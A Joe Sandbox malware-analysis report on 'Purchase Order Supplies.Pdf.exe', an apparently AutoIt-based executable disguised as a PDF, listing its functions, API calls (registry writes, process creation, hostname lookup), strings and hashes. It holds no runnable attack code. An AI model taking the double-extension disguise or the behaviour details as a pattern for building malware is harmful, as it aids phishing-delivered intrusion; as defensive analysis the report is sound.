Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$B1560Size_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 398981869-1459072770
Opcode ID: 730f53878c1417a248610e5caa527773117619c9732033861c72a354cc414527
Instruction ID: be6e7aee27e404bb43030a50e541fdc0d319360c8bb910e2b7f69c4826b21e61
Opcode Fuzzy Hash: 730f53878c1417a248610e5caa527773117619c9732033861c72a354cc414527
Instruction Fuzzy Hash: 364104719442107EEB01A7649C87EFF77ACEF15720F140156F901E3292FB749A01E6B1

Function 00C91F04 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 346
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C97E53: _memmove.LIBCMT ref: 00C97EB9

GetForegroundWindow.USER32 ref: 00C91FBE
IsWindow.USER32(?), ref: 00D0282E

Strings

CLASS, xrefs: 00D02659
LAST, xrefs: 00D025E7
INSTANCE, xrefs: 00D0276D
TITLE, xrefs: 00D027C3
REGEXPCLASS, xrefs: 00D0267A
ALL, xrefs: 00D02795
HANDLE, xrefs: 00D02613
REGEXPTITLE, xrefs: 00D02629
ACTIVE, xrefs: 00D025FD

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 92c67e4066610d03b88a4be4249e8e0419d6809aa6dd64f37212b0f9efc920cf
Instruction ID: 3e8c712112652f18eeb1d62f4e7f0dec774f7b414b2abfdb0a95d35c1d836893
Opcode Fuzzy Hash: 92c67e4066610d03b88a4be4249e8e0419d6809aa6dd64f37212b0f9efc920cf
Instruction Fuzzy Hash: 8BD10930105602EBCB04DF50C889BB9BBA1FF55344F588A2DF499576E1CB30E956DBB2

Function 00CF352A Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00CF3626
RegCreateKeyExW.KERNEL32(?,?,00000000,00D2DBF0,00000000,?,00000000,?,?), ref: 00CF3694
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00CF36DC
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00CF3765
RegCloseKey.ADVAPI32(?), ref: 00CF3A85
RegCloseKey.ADVAPI32(00000000), ref: 00CF3A92

Strings

REG_QWORD, xrefs: 00CF39D3
REG_DWORD, xrefs: 00CF3956
REG_SZ, xrefs: 00CF37A3
REG_MULTI_SZ, xrefs: 00CF384D
REG_EXPAND_SZ, xrefs: 00CF3702
REG_BINARY, xrefs: 00CF3A20

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: f48691b7191c3dce999eeaa95265839394aa24dc271fcfd53149771d2f0d577a
Instruction ID: c77acf3c8651c3a03052b63405c0436e0695384a17db1f141dca0e4d6c65d640
Opcode Fuzzy Hash: f48691b7191c3dce999eeaa95265839394aa24dc271fcfd53149771d2f0d577a
Instruction Fuzzy Hash: 9302AF75200601AFCB14EF15C895E2AB7E5FF89320F05845DF99AAB361DB34EE05DB82

Function 00C94257 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe,00000104,?,00000000,00000001,00000000), ref: 00C9428C

Part of subcall function 00C9CAEE: _memmove.LIBCMT ref: 00C9CB2F

Part of subcall function 00CB1BC7: __wcsicmp_l.LIBCMT ref: 00CB1C50

_wcscpy.LIBCMT ref: 00C943C0
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe,00000104,?,?,?,?,00000000,CMDLINE,?,?,00000100,00000000,CMDLINE,?,?), ref: 00D0214E

Strings

/AutoIt3ExecuteScript, xrefs: 00C9438A
/AutoIt3OutputDebug, xrefs: 00C94360
/ErrorStdOut, xrefs: 00C9434B
CMDLINERAW, xrefs: 00C942AD
CMDLINE, xrefs: 00C942DA, 00C942DF, 00C9430D
C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe, xrefs: 00C94283, 00C94288, 00C94292, 00C943BB, 00C943D9, 00D0213B, 00D02192
/AutoIt3ExecuteLine, xrefs: 00C94375

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: FileModuleName$__wcsicmp_l_memmove_wcscpy
String ID: /AutoIt3ExecuteLine$/AutoIt3ExecuteScript$/AutoIt3OutputDebug$/ErrorStdOut$C:\Users\user\Desktop\Purchase Order Supplies.Pdf.exe$CMDLINE$CMDLINERAW
API String ID: 861526374-98412462
Opcode ID: f55f4fc1733bc1d7d65901daab0efd7239073d2a52ed517359489725dca4f4c4
Instruction ID: 9d542a26cfb9bec65e848faba2134a248c36e406465007ede7bf01fa817a771e
Opcode Fuzzy Hash: f55f4fc1733bc1d7d65901daab0efd7239073d2a52ed517359489725dca4f4c4
Instruction Fuzzy Hash: 1881A276800219AACF05EBE0CD5AEEFB7B8AF15754F500015F941B7191EF60AB09DBB1

Function 00CD78EE Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000101,?), ref: 00CD7909
gethostname.WS2_32(?,00000100), ref: 00CD7923
gethostbyname.WS2_32(?), ref: 00CD7930
_wcscpy.LIBCMT ref: 00CD7958
_memmove.LIBCMT ref: 00CD796B
inet_ntoa.WS2_32(?), ref: 00CD7976
_strcat.LIBCMT ref: 00CD7984
_wcscpy.LIBCMT ref: 00CD799B
WSACleanup.WS2_32 ref: 00CD79A9
_wcscpy.LIBCMT ref: 00CD79B7

Strings

0.0.0.0, xrefs: 00CD7952

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _wcscpy$CleanupStartup_memmove_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 208665112-3771769585
Opcode ID: 55867da61937ac6546016e7bd0c21b5836ac3aae27e49b272d5906a1e2152a8c
Instruction ID: 19370c2ecc79c1b2ee91c20ec2ca49cac3924787406a63caef361db4346dd0ce
Opcode Fuzzy Hash: 55867da61937ac6546016e7bd0c21b5836ac3aae27e49b272d5906a1e2152a8c
Instruction Fuzzy Hash: 9C112732908215BFDB24AB709C56EEE337CDF00720F04016AF556D2291FF70DB8196A0

Function 00CAE975 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00CAEA39
__wsplitpath.LIBCMT ref: 00CAEA56

Part of subcall function 00CB297D: __wsplitpath_helper.LIBCMT ref: 00CB29BD

_wcsncat.LIBCMT ref: 00CAEA69
__makepath.LIBCMT ref: 00CAEA85

Part of subcall function 00CB2BFF: __wmakepath_s.LIBCMT ref: 00CB2C13

Part of subcall function 00CB010A: std::exception::exception.LIBCMT ref: 00CB013E
Part of subcall function 00CB010A: __CxxThrowException@8.LIBCMT ref: 00CB0153

_wcscpy.LIBCMT ref: 00CAEABE

Part of subcall function 00CAEB05: RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,00000000,?,00CAEADA,?,?), ref: 00CAEB27

_wcscat.LIBCMT ref: 00D032FC
_wcscat.LIBCMT ref: 00D03334
_wcsncpy.LIBCMT ref: 00D03370

Strings

\, xrefs: 00D03321
Include, xrefs: 00CAEA63

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: _wcscat$Exception@8FileModuleNameOpenThrow__makepath__wmakepath_s__wsplitpath__wsplitpath_helper_wcscpy_wcsncat_wcsncpystd::exception::exception
String ID: Include$\
API String ID: 1213536620-3429789819
Opcode ID: 2edb9c3994dc6339781bececf260734f503521467b2fa0b34472c5552180a19c
Instruction ID: 7b220485bc0f93167ed39c406b24f23dd93d98c67402019301346dfbbf815394
Opcode Fuzzy Hash: 2edb9c3994dc6339781bececf260734f503521467b2fa0b34472c5552180a19c
Instruction Fuzzy Hash: F7517CB24043409BD715EF64EC858AAB7F8FB4A301F40491EF949C3361EB749648DB76

Function 00C930A5 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00C930B0
LoadCursorW.USER32(00000000,00007F00), ref: 00C930BF
LoadIconW.USER32(00000063), ref: 00C930D5
LoadIconW.USER32(000000A4), ref: 00C930E7
LoadIconW.USER32(000000A2), ref: 00C930F9

Part of subcall function 00C9318A: LoadImageW.USER32(00C90000,00000063,00000001,00000010,00000010,00000000), ref: 00C931AE

RegisterClassExW.USER32(?), ref: 00C93167

Part of subcall function 00C92F58: GetSysColorBrush.USER32(0000000F), ref: 00C92F8B
Part of subcall function 00C92F58: RegisterClassExW.USER32(00000030), ref: 00C92FB5
Part of subcall function 00C92F58: RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00C92FC6
Part of subcall function 00C92F58: LoadIconW.USER32(000000A9), ref: 00C93009

Strings

0, xrefs: 00C93139
#, xrefs: 00C93140
AutoIt v3, xrefs: 00C93156

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Load$Icon$Register$BrushClassColor$ClipboardCursorFormatImage
String ID: #$0$AutoIt v3
API String ID: 2880975755-4155596026
Opcode ID: bdf6710ba932dcddc7d963cfeb12a4e6b107a83b8eba79d32d394c0d503c63d0
Instruction ID: 5ca17c3f1b03ff71b85b9f64c419f67952647c9cd7ae865ab60c4533acb82f4f
Opcode Fuzzy Hash: bdf6710ba932dcddc7d963cfeb12a4e6b107a83b8eba79d32d394c0d503c63d0
Instruction Fuzzy Hash: 82213EB4D40314ABDB00DFA9EC49B9DBBF5EB48311F00816AEA14E23E0D7754544CFA1

Function 00CEB74B Relevance: 15.3, APIs: 10, Instructions: 324
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VariantInit.OLEAUT32(?), ref: 00CEB777
CoInitialize.OLE32(00000000), ref: 00CEB7A4
CoUninitialize.COMBASE ref: 00CEB7AE
GetRunningObjectTable.OLE32(00000000,?), ref: 00CEB8AE
SetErrorMode.KERNEL32(00000001,00000029), ref: 00CEB9DB
CoGetInstanceFromFile.COMBASE(00000000,?,00000000,00000015,00000002), ref: 00CEBA0F
CoGetObject.OLE32(?,00000000,00D1D91C,?), ref: 00CEBA32
SetErrorMode.KERNEL32(00000000), ref: 00CEBA45
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00CEBAC5
VariantClear.OLEAUT32(00D1D91C), ref: 00CEBAD5

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 3605e77a03535a02f989c0951091ec587321890f523902eddcfd4536e606fafc
Instruction ID: e14ad6e97201d249553992034b57fa4f85cecb02fe679b6582cb5951ab8bcd38
Opcode Fuzzy Hash: 3605e77a03535a02f989c0951091ec587321890f523902eddcfd4536e606fafc
Instruction Fuzzy Hash: BAC12371604345AFC700DF69C88496BB7E9BF89308F00491DF59ADB251DB71ED46CB62

Function 00C92F58 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 53
registrywindowclipboardCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00C92F8B
RegisterClassExW.USER32(00000030), ref: 00C92FB5
RegisterClipboardFormatW.USER32(TaskbarCreated), ref: 00C92FC6
LoadIconW.USER32(000000A9), ref: 00C93009

Strings

TaskbarCreated, xrefs: 00C92FBB
AutoIt v3 GUI, xrefs: 00C92FA7
+, xrefs: 00C92F74
0, xrefs: 00C92F6D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Register$BrushClassClipboardColorFormatIconLoad
String ID: +$0$AutoIt v3 GUI$TaskbarCreated
API String ID: 975902462-1005189915
Opcode ID: 18f4a13afbc7bfd6c88c9f1f8f5a58bbb5390a8d5deb87c2d6110aae3242140f
Instruction ID: f17cb89e26386d96ea2642ac745846a222e9ca721c6595b279a2922820aecf2e
Opcode Fuzzy Hash: 18f4a13afbc7bfd6c88c9f1f8f5a58bbb5390a8d5deb87c2d6110aae3242140f
Instruction Fuzzy Hash: A521A0B9900319AFDB109FA4E849BCEBBB5FB08705F10811AFA15E63A0DBB44545CFA1

Function 00CF23C5 Relevance: 13.9, APIs: 9, Instructions: 376
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00CF23E6
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00CF2579
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00CF259D
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00CF25DD
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00CF25FF
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00CF2760
GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00CF2792
CloseHandle.KERNEL32(?), ref: 00CF27C1
CloseHandle.KERNEL32(?), ref: 00CF2838

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Directory$CloseCurrentHandleSystem$CreateErrorLastProcess_memset
String ID:
API String ID: 4090791747-0
Opcode ID: 26ab356c6a9ca4c966d1006c42c33d44c598373d4131020bd082a08a8e2eb6de
Instruction ID: f6351a82d56b83db91349f7a2b6b214b4a5070be8614a2b634cb48cc5f63ac28
Opcode Fuzzy Hash: 26ab356c6a9ca4c966d1006c42c33d44c598373d4131020bd082a08a8e2eb6de
Instruction Fuzzy Hash: 8AD1BD31604305DFCB14EF24C895A6ABBE1EF85310F18885EF9999B3A2DB30ED45DB52

Function 00CEC8B7 Relevance: 12.7, APIs: 5, Strings: 2, Instructions: 401
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Not an Object type, xrefs: 00CEC916
NULL Pointer assignment, xrefs: 00CECCEE, 00CECCFF

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: da46ddede9301a976e4e62c096f59f1140595cdf6e69168134c53bde26c9b364
Instruction ID: 1dd31e151862772a48ab5c7b0d8b0ec668b078e21804bf0634cb320b8e92440c
Opcode Fuzzy Hash: da46ddede9301a976e4e62c096f59f1140595cdf6e69168134c53bde26c9b364
Instruction Fuzzy Hash: 2FE1D371A00259AFDF10CFA9C8C5BAE77B5FF48314F148069F955AB281D7709E42DBA0

Function 00CEBF80 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 264
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00CEBFD4
VariantInit.OLEAUT32(?), ref: 00CEC0A5
VariantInit.OLEAUT32(?), ref: 00CEC1A6
VariantClear.OLEAUT32(?), ref: 00CEC1B0
VariantClear.OLEAUT32(?), ref: 00CEC211

Strings

Null Object assignment in FOR..IN loop, xrefs: 00CEC035, 00CEC163, 00CEC21F
Incorrect Object type in FOR..IN loop, xrefs: 00CEC189

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: Variant$ClearInit$_memset
String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
API String ID: 2862541840-625585964
Opcode ID: 514d3d05658ff1578890ed33249208764a1595b0f590e6713b8dd06aaf168dd0
Instruction ID: a2fa0243191f95541819e309d0b361c0e4a47e6dd8c9211053413a9aed17197d
Opcode Fuzzy Hash: 514d3d05658ff1578890ed33249208764a1595b0f590e6713b8dd06aaf168dd0
Instruction Fuzzy Hash: F3919071A00255EFDF24CFA6CC84FAEB7B8AF45710F108519F925AB241D7709A46CFA0

Function 00CAEB05 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 73registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,00000000,?,00CAEADA,?,?), ref: 00CAEB27
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?,?,00CAEADA,?,?), ref: 00D04B26
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000,?,?,00CAEADA,?,?), ref: 00D04B65
RegCloseKey.ADVAPI32(?,?,00CAEADA,?,?), ref: 00D04B94

Strings

Software\AutoIt v3\AutoIt, xrefs: 00CAEB1D
Include, xrefs: 00D04B1E, 00D04B5D

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_c90000_Purchase Order Supplies.jbxd

Similarity

API ID: QueryValue$CloseOpen
String ID: Include$Software\AutoIt v3\AutoIt
API String ID: 1586453840-614718249
Opcode ID: 33681542a321a4f53f1ff61f8263db37137a45750b263429e42c164a98cb41b9
Instruction ID: f9bf1fe84b1c603af0ded8f56aedd837b4850f560ad81014a330a4489c3ed79a
Opcode Fuzzy Hash: 33681542a321a4f53f1ff61f8263db37137a45750b263429e42c164a98cb41b9
Instruction Fuzzy Hash: B8113D71601219BEEF049BA4DD86EFE77BDEB08354F104059B506E6190EA709E06E760

Function 00C92E9D Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00C92ECB
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00C92EEC
ShowWindow.USER32(00000000), ref: 00C92F00
ShowWindow.USER32(00000000), ref: 00C92F09

Strings

edit, xrefs: 00C92EE6
AutoIt v3, xrefs: 00C92EC3, 00C92EC8, 00C92EC9

Memory Dump Source

Source File: 00000001.00000002.2471002060.0000000000C91000.00000040.00000001.01000000.00000006.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000001.00000002.2470871282.0000000000C90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D3E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D4A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000D6C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2471002060.0000000000DF4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2473979552.0000000000E8D000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

